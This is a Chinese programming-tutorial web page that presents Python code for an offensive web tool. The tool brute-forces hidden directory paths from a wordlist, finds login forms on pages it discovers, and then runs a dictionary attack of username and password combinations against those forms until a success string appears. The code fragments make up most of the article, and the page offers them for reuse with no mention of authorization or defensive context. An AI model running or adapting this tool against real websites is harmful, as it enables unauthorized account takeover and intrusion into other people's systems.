最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
python遍历路径破解表单代码示例
时间:2020-11-21 编辑:袖梨 来源:一聚教程网
本篇文章小编给大家分享一下python遍历路径破解表单代码示例,文章代码介绍的很详细,小编觉得挺不错的,现在分享给大家供大家参考,有需要的小伙伴们可以来看看。
首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。
首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。
while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try: r = requests.get(self.url+queue,timeout=5, headers=self.headers) if r.status_code == 200: print "[200] %s" %(queue) soup = BeautifulSoup(r.content,'html.parser') if soup.find('form'): self.brute(soup, queue)
猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。
input = soup.select("form input") for i in input: try: if i.attrs['type'] == "hidden": name, value = i.attrs['name'], i.attrs['value'] list_post.append(name+'='+value) elif i.attrs['type'] == 'password': name = i.attrs['name'] list_post.append(name+'=$$$') else: name = i.attrs['name'] list_post.append(name+'=%%%') except: continue for i in list_post: post = post + i + '&' action = soup.find_all('form') for i in action: if i['action']: actiontag = i['action'] else: actiontag = queue self.payload(post, actiontag)
获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。
for name in self.username(): post_user = post.replace('%%%',name.strip()) for pwd in self.password(): post_pwd = post_user.replace('$$$',pwd.strip()) session = requests.Session() session.get(self.url+'/'+action, headers=self.headers, verify=False) r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False) if self.word in r.content: print '[username] %s' %name +'r' + '[password] %s' %pwd return
为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为
python xxx.py http://xxxx.com xxxxx
相关文章
- Golang ProtoBuf的基本语法详解 10-20
- Python识别MySQL中的冗余索引解析 10-20
- Python+Pygame绘制小球代码展示 10-18
- Python中的数据精度问题介绍 10-18
- Python随机值生成的常用方法介绍 10-18
- python3解压缩.gz文件分析 09-27